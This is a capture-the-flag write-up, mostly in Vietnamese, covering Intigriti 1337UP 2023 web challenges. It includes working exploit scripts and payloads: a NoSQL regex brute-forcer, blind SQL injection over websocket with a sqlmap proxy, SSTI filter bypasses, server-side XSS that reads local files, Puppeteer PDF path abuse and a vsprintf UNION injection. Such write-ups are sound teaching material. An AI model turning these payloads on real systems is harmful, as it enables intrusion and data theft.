## Keywords
- [NoSQL injection](#CTFC)
- [SSTI using CRLF](#Smarty-Pants)
- [SQLi over Websocket](#Bug-Report-Repo)
- [Server-side XSS](#My-Music)
- [SQLi bypass vsprintf - format string injection](#OWASP)
Link: https://ctf.intigriti.io/challenges
## CTFC
NoSQL injection
```python
import string
import requests
LETTER = string.ascii_letters+string.digits+'_}{?!@#$%^&*()'
url = "https://ctfc.ctf.intigriti.io/submit_flag"
cookies = {"session": "eyJ1c2VyIjp7Il9pZCI6IjdmNDUwNWUzYThjMzQ4MzZiNGU5Mjg5ZGNiMjllZmE3IiwidXNlcm5hbWUiOiJhYmMifX0.ZYfu-g.79-xpgDupy-Otu4w_a3MVT_d0UU"}
length = 0
for i in range(51):
data = {"_id":"_id:3","challenge_flag":{"$regex": f".{{{i}}}" }}
response = requests.post(url, json=data, cookies=cookies)
if "correct" in response.text:
length = i
else:
break
print(f"length = {length}")
print(f"flag length = {length}")
flag = ''
for j in range(length):
for i in LETTER:
data = {"_id":"_id:3","challenge_flag":{"$regex": f"^{flag+i}" }}
print(flag+i)
response = requests.post(url, json=data, cookies=cookies)
if "correct" in response.text:
flag += i
print(flag)
break
```
## Bug Bank

## Smarty Pants
Regex:
```
/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/
```
```php!
<?php
if(isset($_GET['source'])){
highlight_file(__FILE__);
die();
}
require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('/tmp/smarty/templates');
$smarty->setCompileDir('/tmp/smarty/templates_c');
$smarty->setCacheDir('/tmp/smarty/cache');
$smarty->setConfigDir('/tmp/smarty/configs');
$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/';
if(!isset($_POST['data'])){
$smarty->assign('pattern', $pattern);
$smarty->display('index.tpl');
exit();
}
// returns true if data is malicious
function check_data($data){
global $pattern;
return preg_match($pattern,$data);
}
if(check_data($_POST['data'])){
$smarty->assign('pattern', $pattern);
$smarty->assign('error', 'Malicious Inputs Detected');
$smarty->display('index.tpl');
exit();
}
$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);
```
Bypass regex use CRLF (`%0d%0a`)



## Bug Report Repo
### IDOR

### Cách 1: Sử dụng tool `sqlmap`
<https://rayhan0x01.github.io/ctf/2021/04/02/blind-sqli-over-websocket-automation.html>
Vì sqlmap không hỗ trợ `ws://` nên cần tạo server http trung gian để kết nối.
Script:
```python
from http.server import SimpleHTTPRequestHandler
from socketserver import TCPServer
from urllib.parse import unquote, urlparse
import websocket
import threading
# ws_server = "ws://localhost:8156/ws"
ws_server = "wss://bountyrepo.ctf.intigriti.io/ws"
def send_ws(payload):
message = unquote(payload).replace('"','\'') # replacing " with ' to avoid breaking JSON structure
data = '{"id":"%s"}' % message
res = None
def ws_thread():
nonlocal res
try:
ws = websocket.create_connection(ws_server)
ws.send(data)
res = ws.recv()
ws.close()
except Exception as e:
print("WebSocket Error: ", e)
ws_thread = threading.Thread(target=ws_thread)
ws_thread.start()
ws_thread.join(timeout=15)
if res:
return res
else:
return ''
def middleware_server(host_port,content_type="text/plain"):
class CustomHandler(SimpleHTTPRequestHandler):
def do_GET(self) -> None:
self.send_response(200)
try:
payload = urlparse(self.path).query.split('=',1)[1]
except IndexError:
payload = False
if payload:
if payload.startswith('-'):
content = 'Skipped request due to negative "id"'
else:
content = send_ws(payload)
else:
content = 'No parameters specified!'
self.send_header("Content-type", content_type)
self.end_headers()
if content:
self.wfile.write(content.encode())
else:
self.wfile.write(b"Error in WebSocket connection")
class _TCPServer(TCPServer):
allow_reuse_address = True
httpd = _TCPServer(host_port, CustomHandler)
httpd.serve_forever()
print("[+] Starting MiddleWare Server")
print("[+] Send payloads in http://localhost:8081/?id=*")
try:
middleware_server(('0.0.0.0',8081))
except KeyboardInterrupt:
pass
```
Khai thác bằng `sqlmap`:
```
sqlmap -u "http://localhost:8081/?id=1" --batch --dbs
```
Offical wu (CryptoCat): <https://www.youtube.com/watch?v=kgndZOkgVxQ&list=PLmqenIp2RQciRpl2GvZv1kQUq-INq7XvH&index=6>
### Cách 2: Brute-force trực tiếp
<https://www.youtube.com/watch?v=fMrFxI4xXQc>
Script:
```python
import string
import base64
import websocket
def sqli(ws, q_left, chars):
data = """{"id":"11 and (%s= '%s')"}""" % (q_left, chars)
ws.send(data)
temp = ws.recv()
return "Open" in temp
def exploit_websockets(TARGET):
dumped = ""
ws = websocket.create_connection(TARGET)
try:
sql_template = "Select substr(description, %s, 1)"
i = 1
while True:
for chars in string.printable:
if sqli(ws, sql_template % i, chars):
dumped+=chars
print(dumped)
i+=1
break
finally:
ws.close()
if __name__ =="__main__":
TARGET = "wss://bountyrepo.ctf.intigriti.io/ws"
exploit_websockets(TARGET)
```
>Kết quả:
>`crypt0:c4tz on /4dm1n_z0n3, really?!`
>=>Login
### Crack JWT
Sử dụng <a href="https://github.com/ticarpi/jwt_tool">jwt_tool</a>:


## Pizza Time

Bài chỉ có chức năng `/order` và hiển thị ra thông tin, không SQLi chắc cũng nghĩ đến SSTI (•_•)
Nhưng bất kỳ ký từ nào từ `{}<>'"...` cũng bị filter.
=>Bypass vẫn là dùng CRLF để xuống dòng. (chắc filter bằng regex)

Test vài cái nữa dễ dàng biết được xài template Jinja2.
Dùng payload RCE thì ăn ngay:

Nhưng bị filter space:

Bypass bằng `${IFS}`:

## My Music
Sau khi biết được có thể gen PDF, test:

Kết quả:

=> **Server-side XSS**
Sau 1 hồi test payload trên <a href="https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf">Server Side XSS (Dynamic PDF) - HackTricks</a>. Tìm được payload:
- `<script>document.write("abc")</script>` thực thi được JS:

- `<iframe src="file:///etc/passwd"></iframe>` có thể đọc được local file:

Nhưng flag lại không phải là `/flag.txt` hay `/flag`,... (¬_¬ ). Thử đọc vài file local để khai thác LFI nhưng vẫn không thấy gì.
=> Đọc source... Offical wu (CryptoCat): https://ctftime.org/writeup/38300
༼ つ ◕_◕ ༽つ
- Sử dụng `<script>document.write(location.href)</script>` xem file hiện tại:

Dễ đoán được `/app/app.js` và đọc nó bằng `<iframe src="file:///app/app.js" width="500" height="500"></iframe>`, được:
```javascript
const express = require('express')
const { engine } = require('express-handlebars')
const cookieParser = require('cookie-parser')
const { auth } = require('./middleware/auth')
const app = express()
app.engine('handlebars', engine())
app.set('view engine', 'handlebars')
app.set('views', './views')
app.use(express.json())
app.use(cookieParser())
app.use(auth)
app.use('/static', express.static('static'))
app.use('/', require('./routes/index'))
app.use('/api', require('./routes/api'))
app.listen(3000, () => {
console.log('Listening on port 3000...')
})
```
Tương tự:
- `/app/routes/index.js`:
```javascript
const express = require('express')
const { requireAuth } = require('../middleware/auth')
const { isAdmin } = require('../middleware/check_admin')
const { getRandomRecommendation } =
require('../utils/recommendedSongs')
const { generatePDF } =
require('../utils/generateProfileCard')
const router = express.Router()
router.get('/', (req, res) => {
const spotifyTrackCode = getRandomRecommendation()
res.render('home', { userData: req.userData,
spotifyTrackCode })
})
router.get('/register', (req, res) => {
res.render('register', { userData: req.userData })
})
router.get('/login', (req, res) => {
if (req.loginHash) {
res.redirect('/profile')
}
res.render('login', { userData: req.userData })
})
router.get('/logout', (req, res) => {
res.clearCookie('login_hash')
res.redirect('/')
})
router.get('/profile', requireAuth, (req, res) => {
res.render('profile', { userData: req.userData, loginHash:
req.loginHash })
})
router.post('/profile/generate-profile-card', requireAuth,
async (req, res) => {
const pdf = await generatePDF(req.userData,
req.body.userOptions)
res.contentType('application/pdf')
res.send(pdf)
})
router.get('/admin', isAdmin, (req, res) => {
res.render('admin', { flag: process.env.FLAG ||
'CTF{DUMMY}' })
})
module.exports = router
```
- `/app/routes/api.js`
```javascript
const express = require('express')
const { body, cookie } = require('express-validator')
const {
addUser,
getUserData,
updateUserData,
authenticateAsUser,
} = require('../controllers/user')
const router = express.Router()
router.post('/register',
body('username').not().isEmpty().withMessage('Username cannot be empty'),
body('firstName').not().isEmpty().withMessage('First name cannot be empty'),
body('lastName').not().isEmpty().withMessage('Last name cannot be empty'),
addUser
)
router.post(
'/login',
body('loginHash').not().isEmpty().withMessage('Login hash cannot be empty'),
authenticateAsUser
)
router
.get('/user', getUserData)
.put(
'/user',
body('firstName')
.not()
.isEmpty()
.withMessage('First name cannot be empty'),
body('lastName')
.not()
.isEmpty()
.withMessage('Last name cannot be empty'),
body('spotifyTrackCode')
.not()
.isEmpty()
.withMessage('Spotify track code cannot be empty'),
cookie('login_hash').not().isEmpty().withMessage('Login hash required'), updateUserData )
module.exports = router
```
- `/app/controllers/user.js`
```javascript
const {
createUser,
getUser,
setUserData,
userExists,
} = require('../services/user')
const {
validationResult
} = require('express-validator')
const addUser = (req, res, next) => {
const errors = validationResult(req)
if (!errors.isEmpty()) {
return res.status(400).send(errors.array())
}
const {
username,
firstName,
lastName
} = req.body
const userData = {
username,
firstName,
lastName,
}
try {
const loginHash = createUser(userData)
res.status(204)
res.cookie('login_hash', loginHash, {
secure: false,
httpOnly: true
})
res.send()
} catch (e) {
console.log(e)
res.status(500)
res.send('Error creating user!')
}
}
const getUserData = (req, res, next) => {
const errors = validationResult(req)
if (!errors.isEmpty()) {
return res.status(400).send(errors.array())
}
const {
loginHash
} = req.body
try {
const userData = getUser(loginHash)
res.send(JSON.parse(userData))
} catch (e) {
console.log(e)
res.status(500)
res.send('Error fetching user!')
}
}
const updateUserData = (req, res, next) => {
const errors = validationResult(req)
if (!errors.isEmpty()) {
return res status(400) send(errors array())
```
- `/app/services/user.js`:
```javascript!
const fs = require("fs");
const path = require("path");
const { createHash } = require("crypto");
const { v4: uuidv4 } = require("uuid");
const dataDir = "./data";
const createUser = (userData) => {
const loginHash = createHash("sha256").update(uuidv4()).digest("hex");
fs.writeFileSync(
path.join(dataDir, `${loginHash}.json`),
JSON.stringify(userData)
);
return loginHash;
};
const setUserData = (loginHash, userData) => {
if (!userExists(loginHash)) {
throw "Invalid login hash";
}
fs.writeFileSync(
path.join(dataDir, `${path.basename(loginHash)}.json`),
JSON.stringify(userData)
);
return userData;
};
const getUser = (loginHash) => {
let userData = fs.readFileSync(
path.join(dataDir, `${path.basename(loginHash)}.json`),
{
encoding: "utf8",
}
);
return userData;
};
const userExists = (loginHash) => {
return fs.existsSync(
path.join(dataDir, `${path.basename(loginHash)}.json`)
);
};
module.exports = { createUser, getUser, setUserData, userExists };
```
Quan sát:
```javascript
const loginHash = createHash("sha256").update(uuidv4()).digest("hex");
fs.writeFileSync(
path.join(dataDir, `${loginHash}.json`),
JSON.stringify(userData)
);
```
Như vậy `userData` được lưu ở `/app/data/[loginHash].json`, đồng thời `userData` cũng được lấy ra để sử dụng từ file này.
Xem file `/app/routes/index.js` biết được flag có trong `check_admin.js`
- `/app/middleware/check_admin.js`:
```javascript!
const { getUser, userExists } = require("../services/user");
const isAdmin = (req, res, next) => {
let loginHash = req.cookies["login_hash"];
let userData;
if (loginHash && userExists(loginHash)) {
userData = getUser(loginHash);
} else {
return res.redirect("/login");
}
try {
userData = JSON.parse(userData);
if (userData.isAdmin !== true) {
res.status(403);
res.send("Only admins can view this page");
return;
}
} catch (e) {
console.log(e);
}
next();
};
module.exports = { isAdmin };
```
Để thành admin cần thuộc tính `isAdmin` vào `userData`.
**Tuy nhiên**, xem kỹ lại:
```javascript
try {
userData = JSON.parse(userData);
if (userData.isAdmin !== true) {
res.status(403);
res.send("Only admins can view this page");
return;
}
} catch (e) {
console.log(e);
}
next();
```
Nếu `userData = JSON.parse(userData);` không parsed được nghĩa là nó sẽ không đi vào đây: `res.status(403);` và vậy thì middleware này đi tiếp vào `next()` => **truy cập `/admin` thành công**.
Quan sát `/app/routes/index.js`:
```javascript
router.post('/profile/generate-profile-card', requireAuth,
async (req, res) => {
const pdf = await generatePDF(req.userData, req.body.userOptions)
res.contentType('application/pdf')
res.send(pdf)
})
```
Tiếp tục đọc file: `/app/utils/generateProfileCard.js`:
```javascript
const puppeteer = require("puppeteer");
const fs = require("fs");
const path = require("path");
const { v4: uuidv4 } = require("uuid");
const Handlebars = require("handlebars");
const generatePDF = async (userData, userOptions) => {
let templateData = fs.readFileSync(
path.join(__dirname, "../views/print_profile.handlebars"),
{
encoding: "utf8",
}
);
const template = Handlebars.compile(templateData);
const html = template({ userData: userData });
const filePath = path.join(__dirname, `../tmp/${uuidv4()}.html`);
fs.writeFileSync(filePath, html);
const browser = await puppeteer.launch({
executablePath: "/usr/bin/google-chrome",
args: ["--no-sandbox"],
});
const page = await browser.newPage();
await page.goto(`file://${filePath}`, { waitUntil: "networkidle0" });
await page.emulateMediaType("screen");
let options = {
format: "A5",
};
if (userOptions) {
options = { ...options, ...userOptions };
}
const pdf = await page.pdf(options);
await browser.close();
fs.unlinkSync(filePath);
return pdf;
};
module.exports = { generatePDF };
```
Quan sát:
```javascript
if (userOptions) {
options = { ...options, ...userOptions };
}
const pdf = await page.pdf(options);
```
Lúc tạo PDF có thể thêm 1 số [options](https://pptr.dev/api/puppeteer.pdfoptions) và ở đây nó sử dụng spread trong js để gộp thêm `userOptions` (nếu có) vào `options` ban đầu.
Ý tưởng sẽ dùng option **path** để ghi đè file chứa `userData` => parse gẫy lỗi và truy cập được vào `/admin`

Kết quả:

## OWASP
Wu: https://github.com/arthepsy/ctf/blob/main/writeups/2023-intigriti-1337up/owasp.md
### Recon
- Leak file backup:

Source `search.php`:
```php
<?php
require_once('db.php');
$flag = file_get_contents('/flag.txt');
@include('header.php');
//build sql query
$sql = 'select * from owasp';
$sql_where = '';
foreach ($_REQUEST as $field => $value){
if ($sql_where) $sql_where = " AND $sql_where";
$sql_where = "position(%s in $field) $sql_where";
try {
$sql_where = @vsprintf($sql_where, Array("'". sqlesc($value) . "'"));
} catch (ValueError | TypeError $e) {
$sql_where = '';
}
if (preg_match('/[^a-z0-9\.\-_]/i', $field)) die ('Hacking attempt!');
}
$sql .= ($sql_where)?" where $sql_where":'';
foreach(sqlquery($sql) as $row){
@include('row.php');
$config = json_decode($row['config'], true);
}
if (isset($config['flag']) && $config['flag']){
$url = $config['url'];
// no printer manufacturer domains
if (preg_match('/canon|epson|brother|hp|minolta|sharp|dell|oki|samsung|xerox|lexmark/i', $url)) die('Looks like a printer!');
// $url = 'https://www.youtube.com/watch?v=2U3Faa3DejQ';
if (filter_var($url, FILTER_VALIDATE_URL)) {
$http_resp = file_get_contents($url);
var_dump($http_resp);
if ($flag === $http_resp){
die('Yes! You got the right flag!');
}
die('Wrong flag');
}
else {
die('URL does not start with HTTP or HTTPS protocol!');
}
}
@include('footer.php');
```
- param có thể dùng:
```
ID
Id
Title
config
description
id
null
```
Như vậy việc build sql query bằng cách duyệt qua các các cặp param (`field`-`value`) trong từng vòng lặp.
Ví dụ:
- Với `?title=a`, query đầy đủ sẽ là: `select * from owasp where position('a' in title)`.
- Với `?title=a&id=1`, query sẽ là `select * from owasp where position('1' in id) AND position('a' in title)`.
### Exploit
Truyền `value` vào query được sử dụng bởi [vsprintf](https://www.php.net/manual/en/function.vsprintf.php) với format string, lợi dụng điều này để ta khai thác.
Việc inject vào format string mình từng gặp trong bài ctf này: [DownUnderCTF 2023 - Smooth Jazz (SQL Injection)](https://www.justinsteven.com/posts/2023/09/10/ductf-2023-smooth-jazz-sqli/)
Đó là việc dùng `%1$s`, `1` tức là lấy đối số thứ nhất để truyền vào, việc dùng cái này sẽ không bị lỗi như việc dùng `%s ... %s` do chỉ được truyền 1 giá trị.
=> Payload: `?id=%1$s&title=in title) or 1=1 -- -`
giá trị thứ nhất `%1$s` sẽ được truyền vào trong vòng lặp thứ 2: `position(%s in id) AND position('%1$s' in title)`
và giá trị thứ 2 `in title) or 1=1 -- -` sẽ được truyền vào `%s` ở trên, khi đó query đầy đủ là:
`select * from owasp where position('in title) or 1=1 -- -' in id) AND position(''in title) or 1=1 -- -'' in title)`
Khai thác qua `union`:

Việc validate `url` bằng `filter_var($url, FILTER_VALIDATE_URL)`
>Một số hợp lệ:
>```
>http://test???test.com
>http://test???test.com/path/?t=1
>http://test@google.com
>javascript://comment%0Aalert(1)
>javascript://%0Aalert(document.cookie)
>http://example.ee/sdsf"f
>http://https://example.com
>a://google.com
>file:///etc/passwd
>...
>```
Ta sẽ dùng `file:///flag.txt` để get flag.
Json dùng sẽ là `{"flag":1,"url":"file:///flag.txt"}`.
Payload cuối cùng `?id=%1$s&title=in title) UNION SELECT 1,1,1,0x7b22666c6167223a312c2275726c223a2266696c653a2f2f2f666c61672e747874227d-- -`

## E-Corp
Offical Wu: <https://ctftime.org/writeup/38279>